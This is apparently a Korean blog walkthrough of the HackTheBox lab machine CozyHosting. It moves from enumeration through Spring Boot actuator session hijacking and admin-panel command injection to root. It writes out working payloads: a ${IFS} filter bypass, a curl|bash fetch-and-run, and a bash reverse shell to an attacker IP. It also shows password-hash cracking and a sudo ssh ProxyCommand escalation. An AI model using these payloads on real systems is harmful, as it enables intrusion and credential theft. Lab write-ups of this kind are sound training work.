정보 수집 (Enumeration)

rustscan으로 열린 포트를 빠르게 스캔한다.

rustscan -a 10.129.229.88 -- -sC -sV -oN nmap

 

 

사이트 홈페이지 화면이다.

 

 

gobuster를 사용해 디렉터리 기반 스캐닝을 진행하였다.

gobuster dir -u <http://cozyhosting.htb/> -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster

 

 

로그인 페이지가 존재한다.

 

error 페이지에 가면 에러 메시지가 뜬다. whitelabel error page는 spring boot의 에러 메시지이다.

 

 

Spring Boot 기반임을 확인했으므로 Spring Boot 전용 워드리스트로 gobuster를 다시 수행해 /actuator 관련 엔드포인트를 탐색한다.

gobuster dir -u <http://cozyhosting.htb/> -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -t 5 -o gobuster.springboot

 

결과에서 /actuator와 그 하위 경로들(/actuator/sessions, /actuator/env 등)이 발견된다.

/actuator/sessions 응답에서 세션 ID가 노출된 것을 확인할 수 있다.

 

 

burpsuite에서 Cookie를 획득한 세션 ID로 교체해서 접속을 수행한다.

 

 

그 결과 admin 페이지로 접속이 가능하다.

 

 

관리자 패널의 호스트 추가 기능에서 입력값이 검증 없이 쉘 명령으로 전달되는 것을 확인해 커맨드 인젝션 여부를 테스트한다. 세미콜론(;)으로 명령을 구분해 공격자 서버로 curl 요청을 보내도록 시도한다.

127.0.0.1
test; curl 10.10.15.247:8000;

 

 

공백이 필터링되는 것 같다.

${IFS} (Internal Field Separator)로 공백을 대체해 필터를 우회한다.
127.0.0.1
test; curl${IFS}10.10.15.247:8000;

 

curl 요청이 공격자 서버에 도착하는 것으로 보아 커맨드 인젝션이 가능함을 확인하였다.

 

 

 

초기 침투 (RCE) — 커맨드 인젝션 → app

커맨드 인젝션이 가능함을 확인했으므로 이번에는 리버스 쉘 스크립트를 준비해 실행한다.

#!/bin/bash
bash -i >& /dev/tcp/10.10.15.247/443 0>&1

 

 

리버스 쉘 스크립트를 실행하는 커맨드 인젝션을 수행한다.

test;curl${IFS}<http://10.10.15.247:7777/reverse.sh|bash>;

 

 

그 결과 app 계정의 쉘을 획득할 수 있다.

 

 

 

수평 이동(Lateral Movement) — JAR 자격증명 탈취 → josh

app 쉘에서 /etc/passwd를 확인해 로그인 가능한 계정을 파악한다. root, postgres, josh 계정이 존재함을 확인했다.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
...
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

 

app사용자의 홈 디렉토리에서 실행 중인 스프링부트 JAR 파일(cloudhosting-0.0.1.jar)을 발견하였다.

 

 

JAR 파일을 압축 해제해 내부 클래스 파일과 설정 파일을 확인한다.

unzip -d /tmp/app/ cloudhosting-0.0.1.jar

 

 

BOOT-INF/classes 경로 아래 application.properties 등 설정 파일이 포함된 것을 확인할 수 있다.
application.properties 파일 내용을 보면 PostgreSQL DB 접속 정보(호스트, 포트, 계정, 비밀번호)가 평문으로 저장되어 있다.

 

 

확보한 자격 증명으로 PostgreSQL에 접속하였다.

 

 

데이터베이스 목록을 조회하였다. cozyhosting이라는 데이터베이스가 보인다.

 

 

cozyhosting 데이터베이스에서 테이블 리스트를 조회해보았다.

hosts와 users 테이블이 확인된다.

 

 

users 테이블을 조회한 결과다. josh 계정의 해시된 비밀번호를 확인할 수 있다.

 

 

앞서 확보한 josh 계정의 비밀번호는 bcrypt 해시 형태다. hashid 로 해시 유형을 확인한다.

hashid '$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim'

 

 

hashid 결과 해시 형식이 bcrypt (2a) 임이 확인된다.

로컬에서 hashcat으로 rockyou.txt 사전을 사용해 크래킹을 시도한다.

hashcat psql.hash -m 3200 rockyou.txt

 

 

 

크래킹으로 복구한 비밀번호로 josh 계정에 SSH 로그인을 시도한다.

ssh josh@10.129.229.88

 

 

GTFOBins의 ssh 항목을 참고해 ProxyCommand로 임의 명령을 주입한다.

 

 

sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x 형태의 명령을 실행하면 root 권한의 쉘이 떨어진다.
root.txt 플래그를 획득한다.

 

'HTB' 카테고리의 다른 글

HTB - Networked  (0) 2026.09.03
HTB - Keeper  (0) 2026.08.17
HTB - Soccer  (0) 2026.08.16
HTB - Broker  (0) 2026.07.30
HTB - Servmon  (0) 2026.07.22

+ Recent posts